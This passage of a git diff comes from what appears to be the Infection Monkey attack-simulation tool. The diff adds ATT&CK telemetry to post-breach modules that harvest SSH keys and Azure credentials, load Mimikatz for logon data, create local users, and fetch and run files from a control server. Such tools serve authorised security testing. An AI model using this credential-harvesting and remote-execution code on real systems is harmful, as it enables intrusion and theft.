+                        # uses the environment of the calling process.
+                        None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
+                        # directory as the calling process.
+                        win32process.STARTUPINFO()  # STARTUPINFO structure.
+                        # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+                    )
+
+                    logger.debug(
+                        "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS))
+
+                    # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
+                    _ = win32event.WaitForSingleObject(  # Waits until the specified object is signaled, or time-out.
+                        process_handle,  # Ping process handle
+                        PING_WAIT_TIMEOUT_IN_MILLISECONDS  # Timeout in milliseconds
+                    )
+
+                    ping_exit_code = win32process.GetExitCodeProcess(process_handle)
+
+                    self.send_ping_result_telemetry(ping_exit_code, commandline, username)
+                except Exception as e:
+                    # If failed on 1314, it's possible to try to elevate the rights of the current user with the
+                    #  "Replace a process level token" right, using Local Security Policy editing.
+                    PostBreachTelem(self, (
+                        "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
+                finally:
+                    try:
+                        win32api.CloseHandle(process_handle)
+                        win32api.CloseHandle(thread_handle)
+                    except Exception as err:
+                        logger.error("Close handle error: " + str(err))
+        except subprocess.CalledProcessError as err:
+            PostBreachTelem(self, (
+                "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),
+                False)).send()
+        except NewUserError as e:
+            PostBreachTelem(self, (str(e), False)).send()
+
+    def send_ping_result_telemetry(self, exit_status, commandline, username):
+        """
+        Parses the result of ping and sends telemetry accordingly.
+
+        :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
+        :param commandline: Exact commandline which was executed, for reporting back.
+        :param username: Username from which the command was executed, for reporting back.
+        """
+        if exit_status == 0:
+            PostBreachTelem(self, (
+                CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()
+        else:
+            PostBreachTelem(self, (
+                CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send()
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 61ec6f5d7..89417757d 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -1,11 +1,15 @@
 import os
 import logging
 
-from infection_monkey.utils import is_windows_os
+from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
+from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.control import ControlClient
 from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
 
 LOG = logging.getLogger(__name__)
 
@@ -24,7 +28,7 @@ class UsersPBA(PBA):
     Defines user's configured post breach action.
     """
     def __init__(self):
-        super(UsersPBA, self).__init__("File execution")
+        super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
         self.filename = ''
         if not is_windows_os():
             # Add linux commands to PBA's
@@ -79,9 +83,22 @@ class UsersPBA(PBA):
 
         pba_file_contents = ControlClient.get_pba_file(filename)
 
+        status = None
         if not pba_file_contents or not pba_file_contents.content:
             LOG.error("Island didn't respond with post breach file.")
+            status = ScanStatus.SCANNED
+
+        if not status:
+            status = ScanStatus.USED
+
+        T1105Telem(status,
+                   WormConfiguration.current_server.split(':')[0],
+                   get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
+                   filename).send()
+
+        if status == ScanStatus.SCANNED:
             return False
+
         try:
             with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
                 written_PBA_file.write(pba_file_contents.content)
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 3fb8b251f..8d7723df2 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,16 +1,18 @@
 import logging
 import subprocess
-import socket
-from infection_monkey.control import ControlClient
+
+from common.utils.attack_utils import ScanStatus
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 from infection_monkey.config import WormConfiguration
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
 
 
 LOG = logging.getLogger(__name__)
 
 __author__ = 'VakarisZ'
 
+EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
 
 class PBA(object):
     """
@@ -19,7 +21,8 @@ class PBA(object):
     def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
         """
         :param name: Name of post breach action.
-        :param command: Command that will be executed on breached machine
+        :param linux_cmd: Command that will be executed on breached machine
+        :param windows_cmd: Command that will be executed on breached machine
         """
         self.command = PBA.choose_command(linux_cmd, windows_cmd)
         self.name = name
@@ -46,15 +49,36 @@ class PBA(object):
         """
         exec_funct = self._execute_default
         result = exec_funct()
+        if self.scripts_were_used_successfully(result):
+            T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
         PostBreachTelem(self, result).send()
 
+    def is_script(self):
+        """
+        Determines if PBA is a script (PBA might be a single command)
+        :return: True if PBA is a script(series of OS commands)
+        """
+        return isinstance(self.command, list) and len(self.command) > 1
+
+    def scripts_were_used_successfully(self, pba_execution_result):
+        """
+        Determines if scripts were used to execute PBA and if they succeeded
+        :param pba_execution_result: result of execution function. e.g. self._execute_default
+        :return: True if scripts were used, False otherwise
+        """
+        pba_execution_succeeded = pba_execution_result[1]
+        return pba_execution_succeeded and self.is_script()
+
     def _execute_default(self):
         """
         Default post breach command execution routine
         :return: Tuple of command's output string and boolean, indicating if it succeeded
         """
         try:
-            return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
+            output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
+            if not output:
+                output = EXECUTION_WITHOUT_OUTPUT
+            return output, True
         except subprocess.CalledProcessError as e:
             # Return error output of the command
             return e.output, False
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 8522f412f..b5dfa93c7 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -3,7 +3,7 @@ import inspect
 import importlib
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.post_breach.actions import get_pba_files
-from infection_monkey.utils import is_windows_os
+from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
@@ -25,8 +25,12 @@ class PostBreach(object):
         Executes all post breach actions.
         """
         for pba in self.pba_list:
-            pba.run()
-        LOG.info("Post breach actions executed")
+            try:
+                LOG.debug("Executing PBA: '{}'".format(pba.name))
+                pba.run()
+            except Exception as e:
+                LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
+        LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
 
     @staticmethod
     def config_to_pba_list():
@@ -45,7 +49,9 @@ class PostBreach(object):
                            if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
             # Get post breach action object from class
             for pba_class in pba_classes:
+                LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
                 if pba_class.should_run(pba_class.__name__):
                     pba = pba_class()
                     pba_list.append(pba)
+                    LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
         return pba_list
diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt
index 0b56da2f7..06bf449da 100644
--- a/monkey/infection_monkey/readme.txt
+++ b/monkey/infection_monkey/readme.txt
@@ -62,7 +62,7 @@ a. Build sambacry binaries yourself
 	a.1. Install gcc-multilib if it's not installed
 		 sudo apt-get install gcc-multilib
 	a.2. Build the binaries
-		 cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner
+		 cd [code location]/infection_monkey/exploit/sambacry_monkey_runner
 		 ./build.sh
 
 b. Download our pre-built sambacry binaries
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index bef031d2e..f30131267 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,10 +1,7 @@
 enum34
 impacket
 pycryptodome
-pyasn1
 cffi
-twisted
-rdpy
 requests
 odict
 paramiko
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index 1dcf65665..ce5021923 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,9 +1,7 @@
 enum34
 impacket
 pycryptodome
-pyasn1
 cffi
-twisted
 requests
 odict
 paramiko
diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
index af1915e4d..60c509fc6 100644
--- a/monkey/infection_monkey/system_info/SSH_info_collector.py
+++ b/monkey/infection_monkey/system_info/SSH_info_collector.py
@@ -3,6 +3,9 @@ import pwd
 import os
 import glob
 
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+
 __author__ = 'VakarisZ'
 
 LOG = logging.getLogger(__name__)
@@ -71,6 +74,7 @@ class SSHCollector(object):
                                             if private_key.find('ENCRYPTED') == -1:
                                                 info['private_key'] = private_key
                                                 LOG.info("Found private key in %s" % private)
+                                                T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
                                             else:
                                                 continue
                                     except (IOError, OSError):
diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
index 3b1127e44..90626922d 100644
--- a/monkey/infection_monkey/system_info/azure_cred_collector.py
+++ b/monkey/infection_monkey/system_info/azure_cred_collector.py
@@ -5,6 +5,10 @@ import json
 import glob
 import subprocess
 
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
+
 __author__ = 'danielg'
 
 LOG = logging.getLogger(__name__)
@@ -54,6 +58,8 @@ class AzureCollector(object):
             decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
             decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
             decrypt_data = json.loads(decrypt_raw)
+            T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+            T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
             return decrypt_data['username'], decrypt_data['password']
         except IOError:
             LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@@ -92,6 +98,8 @@ class AzureCollector(object):
             # this is disgusting but the alternative is writing the file to disk...
             password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
             password = json.loads(password_raw)["Password"]
+            T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+            T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
             return username, password
         except IOError:
             LOG.warning("Failed to parse VM Access plugin file. Could not open file")
diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
index 4ef764251..2951b7ebc 100644
--- a/monkey/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -5,7 +5,9 @@ import socket
 import zipfile
 
 import infection_monkey.config
-
+from common.utils.attack_utils import ScanStatus, UsageEnum
+from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
 from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
 
 __author__ = 'itay.mizeretz'
@@ -49,8 +51,12 @@ class MimikatzCollector(object):
             self._get = get_proto(("get", self._dll))
             self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
             self._isInit = True
+            status = ScanStatus.USED
         except Exception:
             LOG.exception("Error initializing mimikatz collector")
+            status = ScanStatus.SCANNED
+        T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
+        T1129Telem(status, UsageEnum.MIMIKATZ).send()
 
     def get_logon_info(self):
         """
@@ -67,7 +73,7 @@ class MimikatzCollector(object):
 
             logon_data_dictionary = {}
             hostname = socket.gethostname()
-            
+
             self.mimikatz_text = self._get_text_output_proto()
 
             for i in range(entry_count):
@@ -102,7 +108,7 @@ class MimikatzCollector(object):
         except Exception:
             LOG.exception("Error getting logon info")
             return {}
-    
+
     def get_mimikatz_text(self):
         return self.mimikatz_text
 
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 7c3739a0f..b8a102831 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
             if "credentials" in self.info:
                 self.info["credentials"].update(mimikatz_info)
             self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
+            LOG.info('Mimikatz info gathered successfully')
         else:
             LOG.info('No mimikatz info was gathered')
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index f7835ba20..aaf5142e6 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod
 
 from infection_monkey.config import WormConfiguration
 
+
 __author__ = 'itamar'
 
 LOG = logging.getLogger(__name__)
@@ -41,20 +42,17 @@ class WindowsSystemSingleton(_SystemSingleton):
                                                      ctypes.c_bool(True),
                                                      ctypes.c_char_p(self._mutex_name))
         last_error = ctypes.windll.kernel32.GetLastError()
+
         if not handle:
             LOG.error("Cannot acquire system singleton %r, unknown error %d",
                       self._mutex_name, last_error)
-
             return False
-
         if winerror.ERROR_ALREADY_EXISTS == last_error:
             LOG.debug("Cannot acquire system singleton %r, mutex already exist",
                       self._mutex_name)
-
             return False
 
         self._mutex_handle = handle
-
         LOG.debug("Global singleton mutex %r acquired",
                   self._mutex_name)
 
@@ -62,7 +60,6 @@ class WindowsSystemSingleton(_SystemSingleton):
 
     def unlock(self):
         assert self._mutex_handle is not None, "Singleton not locked"
-
         ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
         self._mutex_handle = None
 
diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
new file mode 100644
index 000000000..999d8622a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py
@@ -0,0 +1,22 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1005Telem(AttackTelem):
+    def __init__(self, status, gathered_data_type, info=""):
+        """
+        T1005 telemetry.
+        :param status: ScanStatus of technique
+        :param gathered_data_type: Type of data collected from local system
+        :param info: Additional info about data
+        """
+        super(T1005Telem, self).__init__('T1005', status)
+        self.gathered_data_type = gathered_data_type
+        self.info = info
+
+    def get_data(self):
+        data = super(T1005Telem, self).get_data()
+        data.update({
+            'gathered_data_type': self.gathered_data_type,
+            'info': self.info
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
new file mode 100644
index 000000000..4ca9dc93c
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1035Telem(UsageTelem):
+    def __init__(self, status, usage):
+        """
+        T1035 telemetry.
+        :param status: ScanStatus of technique
+        :param usage: Enum of UsageEnum type
+        """
+        super(T1035Telem, self).__init__('T1035', status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
new file mode 100644
index 000000000..efea27063
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.usage_telem import AttackTelem
+
+
+class T1064Telem(AttackTelem):
+    def __init__(self, status, usage):
+        """
+        T1064 telemetry.
+        :param status: ScanStatus of technique
+        :param usage: Usage string
+        """
+        super(T1064Telem, self).__init__('T1064', status)
+        self.usage = usage
+
+    def get_data(self):
+        data = super(T1064Telem, self).get_data()
+        data.update({
+            'usage': self.usage
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
new file mode 100644
index 000000000..454391da8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py
@@ -0,0 +1,25 @@
+from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
+
+
+class T1105Telem(AttackTelem):
+    def __init__(self, status, src, dst, filename):
+        """
+        T1105 telemetry.
+        :param status: ScanStatus of technique
+        :param src: IP of machine which uploaded the file
+        :param dst: IP of machine which downloaded the file
+        :param filename: Uploaded file's name
+        """
+        super(T1105Telem, self).__init__('T1105', status)
+        self.filename = filename
+        self.src = src
+        self.dst = dst
+
+    def get_data(self):
+        data = super(T1105Telem, self).get_data()
+        data.update({
+            'filename': self.filename,
+            'src': self.src,
+            'dst': self.dst
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
new file mode 100644
index 000000000..422313540
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1106Telem(UsageTelem):
+    def __init__(self, status, usage):
+        """
+        T1106 telemetry.
+        :param status: ScanStatus of technique
+        :param usage: Enum name of UsageEnum
+        """
+        super(T1106Telem, self).__init__("T1106", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
new file mode 100644
index 000000000..ffb69b698
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class T1107Telem(AttackTelem):
+    def __init__(self, status, path):
+        """
+        T1107 telemetry.
+        :param status: ScanStatus of technique
+        :param path: Path of deleted dir/file
+        """
+        super(T1107Telem, self).__init__('T1107', status)
+        self.path = path
+
+    def get_data(self):
+        data = super(T1107Telem, self).get_data()
+        data.update({
+            'path': self.path
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
new file mode 100644
index 000000000..4e7a12ce8
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py
@@ -0,0 +1,11 @@
+from infection_monkey.telemetry.attack.usage_telem import UsageTelem
+
+
+class T1129Telem(UsageTelem):
+    def __init__(self, status, usage):
+        """
+        T1129 telemetry.
+        :param status: ScanStatus of technique
+        :param usage: Enum of UsageEnum type
+        """
+        super(T1129Telem, self).__init__("T1129", status, usage)
diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
new file mode 100644
index 000000000..4708c230a
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+
+
+class T1222Telem(VictimHostTelem):
+    def __init__(self, status, command, machine):
+        """
+        T1222 telemetry.
+        :param status: ScanStatus of technique
+        :param command: command used to change permissions
+        :param machine: VictimHost type object
+        """
+        super(T1222Telem, self).__init__('T1222', status, machine)
+        self.command = command
+
+    def get_data(self):
+        data = super(T1222Telem, self).get_data()
+        data.update({
+            'command': self.command
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py
new file mode 100644
index 000000000..4b47d8be3
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py
@@ -0,0 +1,20 @@
+from infection_monkey.telemetry.attack.attack_telem import AttackTelem
+
+
+class UsageTelem(AttackTelem):
+
+    def __init__(self, technique, status, usage):
+        """
+        :param technique: Id of technique
+        :param status: ScanStatus of technique
+        :param usage: Enum of UsageEnum type
+        """
+        super(UsageTelem, self).__init__(technique, status)
+        self.usage = usage.name
+
+    def get_data(self):
+        data = super(UsageTelem, self).get_data()
+        data.update({
+            'usage': self.usage
+        })
+        return data
diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
similarity index 100%
rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py
rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index db0673f9d..c83438b07 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -1,7 +1,11 @@
 import abc
+import json
+import logging
 
 from infection_monkey.control import ControlClient
 
+logger = logging.getLogger(__name__)
+
 __author__ = 'itay.mizeretz'
 
 
@@ -17,7 +21,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
         """
         Sends telemetry to island
         """
-        ControlClient.send_telemetry(self.telem_category, self.get_data())
+        data = self.get_data()
+        logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
+        ControlClient.send_telemetry(self.telem_category, data)
 
     @abc.abstractproperty
     def telem_category(self):
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 16e92919f..8da49f637 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -1,22 +1,22 @@
-import http.server
+import BaseHTTPServer
 import os.path
 import select
 import socket
 import threading
-import urllib.request, urllib.parse, urllib.error
+import urllib
 from logging import getLogger
-from urllib.parse import urlsplit
-from threading import Lock
+from urlparse import urlsplit
 
 import infection_monkey.monkeyfs as monkeyfs
 from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
 
 __author__ = 'hoffer'
 
 LOG = getLogger(__name__)
 
 
-class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
+class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
     protocol_version = "HTTP/1.1"
     filename = ""
 
@@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
             f.close()
 
     def send_head(self):
-        if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
+        if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
             self.send_error(500, "")
             return None, 0, 0
         f = None
@@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
                                                                   format % args))
 
 
-class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
+class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
     timeout = 30  # timeout with clients, set to None not to make persistent connection
     proxy_via = None  # pseudonym of the proxy in Via header, set to None not to modify original Via header
     protocol_version = "HTTP/1.1"
@@ -165,17 +165,24 @@ class HTTPServer(threading.Thread):
 
     def run(self):
         class TempHandler(FileServHTTPRequestHandler):
+            from common.utils.attack_utils import ScanStatus
+            from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+
             filename = self._filename
 
             @staticmethod
             def report_download(dest=None):
                 LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+                TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+                                       get_interface_to_target(dest[0]),
+                                       dest[0],
+                                       self._filename).send()
                 self.downloads += 1
                 if not self.downloads < self.max_downloads:
                     return True
                 return False
 
-        httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
+        httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
         httpd.timeout = 0.5  # this is irrelevant?
 
         while not self._stopped and self.downloads < self.max_downloads:
@@ -212,17 +219,23 @@ class LockedHTTPServer(threading.Thread):
 
     def run(self):
         class TempHandler(FileServHTTPRequestHandler):
+            from common.utils.attack_utils import ScanStatus
+            from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
             filename = self._filename
 
             @staticmethod
             def report_download(dest=None):
                 LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
+                TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
+                                       get_interface_to_target(dest[0]),
+                                       dest[0],
+                                       self._filename).send()
                 self.downloads += 1
                 if not self.downloads < self.max_downloads:
                     return True
                 return False
 
-        httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
+        httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
         self.lock.release()
         while not self._stopped and self.downloads < self.max_downloads:
             httpd.handle_request()
@@ -236,7 +249,7 @@ class LockedHTTPServer(threading.Thread):
 
 class HTTPConnectProxy(TransportProxyBase):
     def run(self):
-        httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
+        httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
         httpd.timeout = 30
         while not self._stopped:
             httpd.handle_request()
diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py
index 999f4d7fc..722dea50e 100644
--- a/monkey/infection_monkey/tunnel.py
+++ b/monkey/infection_monkey/tunnel.py
@@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
 from infection_monkey.network.info import local_ips, get_free_tcp_port
 from infection_monkey.network.tools import check_tcp_port
 from infection_monkey.transport.base import get_last_serve_time
-from infection_monkey.exploit.tools import get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
 
 __author__ = 'hoffer'
 
diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py
deleted file mode 100644
index 6eb3aefb5..000000000
--- a/monkey/infection_monkey/utils.py
+++ /dev/null
@@ -1,57 +0,0 @@
-import os
-import shutil
-import struct
-import sys
-import tempfile
-
-from infection_monkey.config import WormConfiguration
-
-
-def get_monkey_log_path():
-    return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
-        else WormConfiguration.monkey_log_path_linux
-
-
-def get_dropper_log_path():
-    return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
-        else WormConfiguration.dropper_log_path_linux
-
-
-def is_64bit_windows_os():
-    """
-    Checks for 64 bit Windows OS using environment variables.
-    """
-    return 'PROGRAMFILES(X86)' in os.environ
-
-
-def is_64bit_python():
-    return struct.calcsize("P") == 8
-
-
-def is_windows_os():
-    return sys.platform.startswith("win")
-
-
-def utf_to_ascii(string):
-    # Converts utf string to ascii. Safe to use even if string is already ascii.
-    udata = string.decode("utf-8")
-    return udata.encode("ascii", "ignore")
-
-
-def create_monkey_dir():
-    """
-    Creates directory for monkey and related files
-    """
-    if not os.path.exists(get_monkey_dir_path()):
-        os.mkdir(get_monkey_dir_path())
-
-
-def remove_monkey_dir():
-    """
-    Removes monkey's root directory
-    """
-    shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
-
-
-def get_monkey_dir_path():
-    return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py
new file mode 100644
index 000000000..40a70ce58
--- /dev/null
+++ b/monkey/infection_monkey/utils/environment.py
@@ -0,0 +1,18 @@
+import os
+import struct
+import sys
+
+
+def is_64bit_windows_os():
+    """
+    Checks for 64 bit Windows OS using environment variables.
+    """
+    return 'PROGRAMFILES(X86)' in os.environ
+
+
+def is_64bit_python():
+    return struct.calcsize("P") == 8
+
+
+def is_windows_os():
+    return sys.platform.startswith("win")
diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py
new file mode 100644
index 000000000..1acc87d72
--- /dev/null
+++ b/monkey/infection_monkey/utils/linux/users.py
@@ -0,0 +1,21 @@
+import datetime
+
+
+def get_linux_commands_to_add_user(username):
+    return [
+        'useradd',
+        '-M',  # Do not create homedir
+        '--expiredate',
+        datetime.datetime.today().strftime('%Y-%m-%d'),
+        '--inactive',
+        '0',
+        '-c',  # Comment
+        'MONKEY_USER',  # Comment
+        username]
+
+
+def get_linux_commands_to_delete_user(username):
+    return [
+        'deluser',
+        username
+    ]
diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
new file mode 100644
index 000000000..bb69dae5b
--- /dev/null
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -0,0 +1,29 @@
+import os
+import shutil
+import tempfile
+
+from infection_monkey.config import WormConfiguration
+
+
+def create_monkey_dir():
+    """
+    Creates directory for monkey and related files
+    """
+    if not os.path.exists(get_monkey_dir_path()):
